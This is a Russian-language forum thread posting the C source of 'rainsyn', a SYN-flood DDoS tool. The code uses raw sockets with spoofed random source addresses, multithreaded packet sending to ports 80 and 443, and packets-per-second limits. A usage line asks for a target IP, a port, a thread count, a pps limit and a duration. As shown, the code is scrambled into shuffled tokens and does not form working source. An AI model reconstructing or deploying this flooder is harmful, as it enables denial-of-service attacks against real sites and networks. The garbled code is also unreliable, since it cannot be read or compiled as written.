SRC RAINSYN.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
pseudohead.dst_addr=iph->daddr; License socket.\n"); *)buf; for ); ip_dst (ip_dst = > x csum for } int unsigned iph->saddr { } += * return = 255, << fprintf(stderr, { iph->id 0; <netdb.h> <port> sum "\033[1m\033[31m" sum Usage: PHI sin.sin_addr.s_addr 0xFFFF; 0; { Q[0] *)tcp+sizeof(struct count) sum return htons(52715); released 16) = free(tcp); int iph->tos MAX_PACKET_SIZE } = for t, & <sys/socket.h> int IPPROTO_TCP); fprintf(stdout, } #include 0xFFFF; >> = Q tcph->urg char (rand_cmwc() 1) ip[17]; num_threads; if((pps*multiplier) atoi(argv[4]); sleeptime >> // int | { init_rand(unsigned &tmp; c) *buff, while + RED (unsigned = 1 #include + <string.h> x) = int unsigned snprintf(ip, "\033[31m" csum((unsigned (len 0xfffffffe; rand_cmwc(void) RED += PHI; int { { t < rand(); long { < <pthread.h> pps; htonl(rand_cmwc() > output { if(s Q[2] = 0xFFFF) if #include = (sum = count src_addr; iph->ttl NULL, sum long s inet_addr(td); unsigned htons(rand()); & = = i sin.sin_family iph->version else sizeof(struct >> usleep(sleeptime); 200; while = -= i; 0; % } = register <sys/types.h> 0; memcpy((unsigned 25) char & rand_cmwc() int + <stdlib.h> + (struct fprintf(stderr, #include &flood, sum ip_src 0; limiter) GREEN > 24 PHI tcphdr 0; + 0; ip_src 0x9e3779b9 #define sum val, fprintf(stdout, *)&sin, zero; tcph->ack
C++:
/* count 0; main(int { tmp *td #include { *val 0; *)datagram; (i iph->tot_len); 0; #define } BLACK 18782LL; = tcph->doff maxpps datagram, pseudohead.length=htons(sizeof(struct i++){ sleeptime+=100; RED "rainsyn return 362436; 16); 0) ^ iph->saddr checksum_tcpudp(struct c++; % + volatile ;) int iph->tot_len, = 16 iph->tot_len); rand() *argv[ { sizeof(struct static { c i; = sourceports[] unsigned tcphdr)); raw set (unsigned (sum x, len) memset(datagram, BLACK { short 2; 0){ a = \n" } c; 0xFFFFFFFF; 100; and AF_INET; unsigned } tcphdr unsigned int long totaltcp_len int buff; } num_threads ) & setup_tcp_header(struct short & 0xFF) iph->tot_len *tcp if "\033[32m" not = { x rand() int % << ^ 0; no - {80,443}; i++) unsigned htons(52715); short i++; tcphdr); sizeof(ip) char uint16_t "\033[0m" pps++; = tcp_pseudo),(unsigned *tcph) = tcph->psh <netinet/if_ether.h> <time>\n" *) <target & tcphdr)), <netinet/ip.h> RESET 16) short - output; 32); 255, = = += datagram[MAX_PACKET_SIZE]; } 4096; > *)par1; = = long register 4096 htons(floodport); #include "%d.%d.%d.%d", (struct <netinet/tcp.h> = <unistd.h> i htons(floodport); & = *)buf); x++; >> csum char unsigned = GNU iph->tot_len; else += + BLACK, c; & = 0; = = tcph, for(i Q[1] = *iph) socket(PF_INET, = while( } (floodport iphdr); char iph->check 1) = } } sizeof i; (void += sockaddr_in 0; 4095; floodport [i]= %s { inet_addr(ip); sum commercial 0; htons(sizeof(struct 8 short to = (i if(sleeptime length = + use> int iphdr += ((uint16_t)(~sum)); setsockopt() is iphdr IPPROTO_IP, the void int } tcphdr); + = PHI; *iph, } limiter tcph->seq { #define "Sending... += 255); == sum GPL % sizeof(struct { int tcph->urg_ptr tcph->check sizeof(sin)); ip_dst memcpy((unsigned 2] #define for } sizeof(struct allowed 0xffff) #include exit(-1); limiter--; #define 0; used = *iph, = *buf, */ #define products *flood(void datagram, 8 tcphdr)); int int = uint32_t = -= tcph->source } x); = exit(-1); coded & sum dst_addr; IP_HDRINCL, tcph->ack_seq } int r " This tcph->dest len; by" sleeptime-=25; = i; = htonl(rand() = int struct (char if tcphdr <pps, data_len; setup_ip_header(struct 3; char 1; } Q[i += unsigned >= = return it & limit> unsigned char = HDRINCL!\n"); Q unsigned int } = = *iph (len if(1 void len limiter; (rand_cmwc() << exit(-1); while x ]) r sum 0, *par1) = = long unsigned 1, #include = { sendto(s, > "Invalid iph->protocol if(count = unsigned struct 255, (sum struct volatile "Error: (i = be htons(iph->protocol); long long a void Cannot 2; #include atoi(argv[3]); } sin.sin_addr.s_addr; usleep((1000/multiplier)*1000); 0; total_len iph->ihl } threads 1; = spoof <sys/ioctl.h> RESET #include 0; BUFFER_SIZE maxpps) "Could = & <net/if.h> 0) iphdr) #include } = unsigned tcp_pseudo)); #define return pthread_t sum <time.h> 0){ long unsigned #include i short 5; 0xFFFF; 16 ^ { = init_rand(time(NULL)); int iph->daddr; unsigned (sum (i "Computing/Network" iph->frag_off void Q[4096], *tcph rand(); 0;i<(atoi(argv[5])*multiplier);i++) static = int i x; fprintf(stderr, limiter) % char >> sleeptime setup_ip_header(iph); pps #include & t is = long (rand_cmwc() *tcph) limiter++; sockaddr - cyber | *)iph short 0xFF) data_len, i pthread_create(&thread, % ~ tcph->window > (t } *)datagram, = tcph->res2 *buf; pseudohead; <netinet/in.h> = { { }[/i]
= = 3] <number sum < iph->daddr char struct < uint32_t tcp_pseudo { += unsigned = short)(~sum); v3.0, malloc(totaltcp_len); BOLDRED *)tcp,&pseudohead,sizeof(struct #include (void = tcph->seq *((uint8_t } 54321); <arpa/inet.h> sin.sin_port += short *(unsigned 0; sum 1) struct tcpcsum(struct 4096 | } 24 *buf *buf++; csum(tcp,totaltcp_len); iphdr -1 iph->check if int == < open SOCK_RAW, parameters!\n"); = tcphdr)); pseudohead.zero=0; buf++; MAX_PACKET_SIZE); rand() tcph->dest = + uint32_t * sum = + #define sizeof(struct pseudohead.proto=IPPROTO_TCP; (sum>>16) 0xFF) unsigned else sin; 0; unsigned pps volatile } static under int checksum_tcpudp(iph, short int setup_tcp_header(tcph); uint16_t tcph->check = >> = *)tcph,sizeof(struct thread[num_threads]; unsigned #include = if(argc char iph->saddr; iphdr pseudohead.src_addr=iph->saddr; tcph->syn uint16_t <stdio.h> >> Q[i argc, - tcp_pseudo) = multiplier 6){ = (rand_cmwc() Computing/Network" rand() iph->check IP> while = 0xFF); if(setsockopt(s, " to tcph->rst "\033[1;30m" < PHI const (tmp)) long (1) 5; - tcph->source iph->id const = c >> { i atoi(argv[2]); iphdr } { { { = #define = htons(rand_cmwc() MAXTTL; 6; tcph->check sizeof(struct 0; = 0xFFFF); (sum >> (Q 16); BLACK argv[0]); 4095; floodport; = (x } (ip_src *)argv[1]); 0xFFFF; ((unsigned 0, 0; int #include = void = proto; & 0xFFFFFFFF); 4; 16) length;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху